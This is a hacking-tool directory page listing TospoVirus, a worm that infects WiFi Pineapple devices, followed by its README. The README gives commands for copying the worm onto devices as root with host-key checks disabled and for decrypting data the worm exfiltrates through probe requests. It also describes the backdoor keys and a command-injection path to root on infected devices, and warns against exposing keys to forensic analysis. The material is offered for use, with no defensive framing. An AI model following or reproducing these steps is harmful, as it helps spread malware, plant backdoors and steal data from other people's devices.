Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
TospoVirus — A WiFi Pineapple infecting worm. | Kitploit
Tools/GitHubGitHub/catatonicprime/tospovirus
Persistence MechanismsExploitationLateral MovementData ExfiltrationPost-ExploitationWireless SecurityCommand and ControlRemote Access Trojan
GitHubcatatonicprime/tospovirus

TospoVirus

A WiFi Pineapple infecting worm.

View Repository
17411 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Building TospoVirus for Distribution:

./build.sh

Distribute to a working pineapple with version 2.3:

ssh -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null [email protected] "mkdir /tospo"
scp -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null dist/tv* [email protected]:/tospo/
Note: You'll need to have a configured device OR use the metasploit-module to enable ssh

Decrypting ex-filtrated data:

wireshark filter is:
(wlan.fc.type_subtype == 0x04) && (wlan_mgt.tag.length == 32)
printf $(echo "[data copied from wireshark]" | sed -re 's/(..)/\\x\1/g') | openssl rsautl -decrypt -inkey tvd.pem

Optionally, use the harvest.py script like so:
python harvest.py [monitor-iface]

Files & Purpose:

FilePurpose
tvThe virus itself.
tvbdThe "master" backdoor key, do not distribute the private key.
tvdThe disclosure key, used for exfiltrating data via probe requests.
tospo_rsaThe identity private key, specific to each infected device used as the transfer key.
tospo_rsa.pubThe identity public key, transferred via the command injection page to allow the private identity to perform actions as root on the remote device.
wPushed wireless configuration options, used to restore previous connections.
nPushed network configuration options, used to restore previous connections.
Note: Files starting with 'tv' are all transferred when infecting a new device. Do not add private keys and the like using names beginning with 'tv' or else your private key will be exposed to forensic analysis.
Download Tool